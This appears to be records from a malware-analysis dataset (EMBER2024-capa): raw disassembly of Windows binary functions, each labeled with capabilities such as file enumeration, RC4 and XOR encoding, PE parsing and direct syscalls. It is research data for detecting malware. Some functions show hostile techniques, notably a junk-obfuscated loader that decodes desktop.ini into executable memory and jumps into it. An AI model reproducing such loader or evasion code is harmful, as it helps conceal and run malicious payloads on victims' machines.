joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410a80
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.00433680
mov eax, dword [0x44900c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x44a70c]
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, eax
call fcn.004143b0
mov ebx, eax
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ab4
sub ecx, edx
lea edi, [ecx + 1]
mov ecx, dword [esi + 0x368]
sub ecx, 0x18
mov eax, dword [ecx + 0xc]
cmp edi, dword [ecx + 8]
jle 0x410ade
mov edx, edi
call fcn.0040d680
mov dword [esi + 0x368], eax
push edi
push ebx
push eax
call fcn.00419260
add esp, 0xc
lea eax, [ebp - 0x2004]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x20
lea edx, [ebp - 0x1004]
lea ecx, [ebp - 0x2004]
call fcn.00413ed0
lea ecx, [ebp - 0x1004]
add esp, 4
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b20
sub ecx, edx
lea edi, [ecx + 1]
mov ecx, dword [esi + 0x338]
sub ecx, 0x18
mov eax, dword [ecx + 0xc]
cmp edi, dword [ecx + 8]
jle 0x410b4a
mov edx, edi
call fcn.0040d680
mov dword [esi + 0x338], eax
push edi
lea ecx, [ebp - 0x1004]
push ecx
push eax
call fcn.00419260
mov ecx, dword [esi + 0x338]
add esp, 0xc
call fcn.00414400
mov ebx, dword [esi + 0x338]
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b71
sub ecx, edx
lea edi, [ecx + 1]
mov ecx, dword [esi + 0x384]
sub ecx, 0x18
mov eax, dword [ecx + 0xc]
cmp edi, dword [ecx + 8]
jle 0x410b9b
mov edx, edi
call fcn.0040d680
mov dword [esi + 0x384], eax
push edi
push ebx
push eax
call fcn.00419260
mov ecx, dword [esi + 0x338]
add esp, 0xc
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x410bb0
mov eax, dword [str.hsptv_]
mov dword [ecx], eax
mov eax, dword [0x43fde4]
mov dword [ecx + 4], eax
mov ebx, dword [esi + 0x338]
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410bd4
sub ecx, edx
lea edi, [ecx + 1]
mov ecx, dword [esi + 0x388]
sub ecx, 0x18
mov eax, dword [ecx + 0xc]
cmp edi, dword [ecx + 8]
jle 0x410bfe
mov edx, edi
call fcn.0040d680
mov dword [esi + 0x388], eax
push edi
push ebx
push eax
call fcn.00419260
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00415dc0
mov esp, ebp
pop ebp
ret
Function at 0x414130
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x44900c]
xor eax, esp
mov dword [esp + 0x150], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov edx, esi
push edi
and edx, 1
mov eax, esi
shl edx, 4
mov edi, edx
or edi, 6
and al, 2
lea eax, [esp + 0x18]
cmove edi, edx
xor ebx, ebx
push eax
push ecx
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
jne 0x414196
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x150]
xor ecx, esp
call fcn.00415dc0
mov esp, ebp
pop ebp
ret
and esi, 4
mov dword [ebp + 8], esi
nop dword [eax]
xor eax, eax
mov ecx, edi
and ecx, dword [esp + 0x18]
cmp eax, ecx
sbb eax, eax
neg eax
test esi, esi
jne 0x4141b9
xor eax, eax
cmp eax, ecx
sbb eax, eax
inc eax
test eax, eax
je 0x4142b8
mov al, byte [esp + 0x44]
xor ecx, ecx
test al, al
setne cl
cmp al, 0x2e
jne 0x4141eb
mov al, byte [esp + 0x45]
test al, al
je 0x4142b8
cmp al, 0x2e
jne 0x4141eb
cmp byte [esp + 0x46], 0
je 0x4142b8
test ecx, ecx
je 0x4142b8
inc ebx
lea eax, [esp + 0x44]
mov dword [esp + 0x10], ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414200
mov ecx, dword [0x44a708]
sub eax, edx
add ecx, 0xffffffe8
lea ebx, [eax + 1]
mov edi, dword [ecx + 0xc]
mov esi, edi
lea edx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x414220
sub esi, edx
lea edx, [esi + ebx]
cmp edx, dword [ecx + 8]
jle 0x41424a
add edx, 0xfff
and edx, 0xfffff000
call fcn.0040d680
mov edi, eax
mov dword [0x44a708], edi
push ebx
lea eax, [esp + 0x48]
push eax
lea eax, [esi + edi]
push eax
call fcn.00419260
mov ecx, dword [0x44a708]
add esp, 0xc
add ecx, 0xffffffe8
mov edx, dword [ecx + 0xc]
mov esi, edx
lea edi, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x414270
sub esi, edi
lea eax, [esi + 3]
cmp eax, dword [ecx + 8]
jle 0x41429a
lea edx, [eax + 0xfff]
and edx, 0xfffff000
call fcn.0040d680
mov edx, eax
mov dword [0x44a708], edx
mov ax, word [0x43fd40]
mov ebx, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
mov word [esi + edx], ax
mov al, byte [0x43fd42]
mov byte [esi + edx + 2], al
mov esi, dword [ebp + 8]
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4141a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x4141a0
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x15c]
mov eax, ebx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00415dc0
mov esp, ebp
pop ebp
ret
Function at 0x4219d5
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00421898

Function at 0x426abb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042693a

Function at 0x42af70
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042ac30
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x101f738c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1035ac30]
jne 0x101f7396
repz ret
jmp fcn.101f763d
Function at 0x101f80d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
call fcn.10001090
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x34], ecx
je 0x101f8128
jmp 0x101f80f9
mov eax, dword [esp + 0x30]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov edx, dword [esp + 0x28]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], ecx
je 0x101f8158
jmp 0x101f8255
lea eax, [esp + 0x48]
mov dword [0x1035ac0c], 0x1500
mov dword [0x1035ac08], 0x45c
mov dword [esp + 0x18], eax
call fcn.101f9070
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x30], ecx
je 0x101f81b2
jmp 0x101f80f1
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
lea esi, [esp + 0x48]
mov dword [0x1035ac08], edx
mov dword [esp + 0x94], eax
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x50], eax
mov dword [0x1035ac0c], 0xfffff448
mov eax, dword [esp + 0x40]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.101f84d0
mov ecx, esp
lea edx, [esp + 0x48]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x30], eax
jmp 0x101f80f1
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.101f7c10
mov ecx, 0x2e
lea edx, [0x101f9960]
mov esi, dword [esp + 0x38]
mov dword [esp + 0x90], esi
mov dword [0x1035ac0c], 0x508
mov dword [esp + 0x84], 0x1b5000
mov esi, dword [0x1035abf4]
mov dword [esp + 0x64], esi
mov esi, dword [0x1035abf8]
mov dword [esp + 0x8c], esi
mov esi, dword [0x1035abfc]
mov dword [esp + 0x68], esi
mov esi, dword [0x1035ac00]
mov dword [esp + 0x80], esi
mov esi, dword [0x1035ac04]
mov dword [esp + 0x98], esi
mov dword [0x1035ac08], 0x3ae
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
cmp word [eax], 0x5a4d
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ecx
je 0x101f8103
mov eax, dword [esp + 0x2c]
add eax, 0xfffff000
mov dword [esp + 8], eax
mov eax, 0xfffffc34
mov ecx, dword [esp + 8]
and ecx, 0xfffff000
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
jmp 0x101f823a
Function at 0x101f8f00
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x1035ac08]
add edi, 0xffffe7eb
mov dword [0x1035ac08], edi
mov dword [0x1035ac14], 0
mov byte [0x1035ac18], 0
mov dword [0x1035ac0c], 0x4dd
mov dword [0x1035ac10], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101f8f6b
mov dword [0x1035ac08], 0x2088
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1035ac08]
add eax, 0xfffffe61
mov dword [0x1035ac08], eax
mov eax, dword [0x1035ac10]
add eax, 1
mov dword [0x1035ac10], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101f8f6b
xor eax, eax
mov dword [0x1035ac08], 0x208
mov dword [0x1035ac10], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x1035ac1c], 0
mov dword [0x1035ac08], 0x959
mov edi, dword [0x1035ac14]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1035ac1c], esi
mov dword [0x1035ac08], 0x1b47
mov eax, esi
cdq
idiv ecx
mov dword [0x1035ac14], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x1035ac18], cl
mov dword [0x1035ac0c], 0x5e8
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x1035ac18]
mov esi, dword [0x1035ac14]
mov byte [ebx + esi], cl
mov esi, dword [0x1035ac10]
add esi, 1
mov dword [0x1035ac10], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x101f8fb9
jmp 0x101f8f59
Function at 0x101f9070
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [0x1035ac08], 0x1c6a
mov dword [ebp - 4], 0
mov dword [0x1035ac0c], 0x2f2
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x1035ac08], 0xb29
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x101f914f
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
je 0x101f9112
jmp 0x101f9193
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
je 0x101f91aa
jmp 0x101f9193
mov dword [0x1035ac0c], 0xa81
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x101f90d4
jmp 0x101f9193
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x101f916b
jmp 0x101f9193
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x101f90f4
jmp 0x101f9193
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jge 0x101f90bd
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], edx
je 0x101f90bd
jmp 0x101f9134
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff5
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2], 0x61
jne 0x101f9193
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x101f9123
xor eax, eax
mov ecx, dword [0x1035ac0c]
add ecx, 0xfffff6b5
mov dword [0x1035ac0c], ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add esp, 0x24
pop ebp
ret
Function at 0x101f97d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x1035ac10], 0
mov dword [0x1035ac14], 0
mov dword [0x1035ac20], 0
mov dword [0x1035ac08], 0x145d
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x101f991d
xor eax, eax
mov ecx, 0x145d
mov edx, eax
mov esi, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
jmp 0x101f983d
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov edi, 0x100
mov ebx, ecx
add ebx, 0x3191
add eax, 1
add ecx, 0x21fe
mov dword [ebp - 0x30], eax
mov eax, edx
add eax, 1
mov dword [0x1035ac08], ecx
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, ecx
mov dword [ebp - 0x38], edx
cdq
idiv edi
mov dword [0x1035ac10], edx
mov dword [0x1035ac0c], ebx
mov ebx, dword [ebp - 0x1c]
movzx ecx, byte [ebx + edx]
add ecx, esi
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x1035ac14], edx
mov ecx, dword [ebp - 0x3c]
mov cl, byte [ebx + ecx]
mov byte [0x1035ac18], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x3c]
mov byte [ebx + edx], cl
mov dword [0x1035ac0c], 0x2b4
mov cl, byte [0x1035ac18]
mov esi, dword [0x1035ac14]
mov byte [ebx + esi], cl
mov esi, dword [0x1035ac10]
movzx esi, byte [ebx + esi]
mov edi, dword [0x1035ac14]
movzx edi, byte [ebx + edi]
add edi, esi
mov dword [0x1035ac0c], 0xdf3
and edi, 0xff
mov dword [0x1035ac20], edi
mov esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x38]
mov cl, byte [esi + ecx]
xor cl, byte [ebx + edi]
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x38]
mov byte [edi + edx], cl
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x10]
cmp ecx, edx
je 0x101f9954
jmp 0x101f992f
mov dword [0x1035ac0c], 0x2692
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x1035ac14]
mov ecx, dword [0x1035ac08]
mov edx, dword [0x1035ac10]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
jmp 0x101f983d
jmp 0x101f991d
Function at 0xd8d370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xd8d38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xdb6074
push ecx
mov edi, eax
call fcn.00da1198
mov esi, eax
add esp, 8
test esi, esi
jne 0xd8d3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00da102e
push esi
call fcn.00da0fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xd90850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xd908ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xdbb720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xd908ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00da11e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xd908ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xdbb720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xd9092a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00da2082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xd90957
mov word [eax], si
add eax, 2
push eax
call fcn.00da2030
add esp, 4
jmp 0xd90959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xd908ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xd908b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xd90ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xd91080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xd910c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xdb6458
push ecx
call fcn.00da11e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00da11e1
add esp, 0x10
jmp 0xd910d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00da120b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00da0dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00d91050
mov eax, dword [0xdbb728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xd9113b
push esi
call fcn.00d90fb0
add esp, 4
mov dword [0xdbb728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xd9114c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00d90ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xd94440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xd944b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xd9448e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xd94471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xd9447e
add edx, ecx
cmp ebx, edx
jb 0xd9448a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xd94467
xor ecx, ecx
jmp 0xd944a2
test eax, eax
jne 0xd94492
xor ecx, ecx
jmp 0xd944a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00d943c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xd948f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xd94921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xd94946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xd9496e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xd94993
push ecx
push esi
call fcn.00d944c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret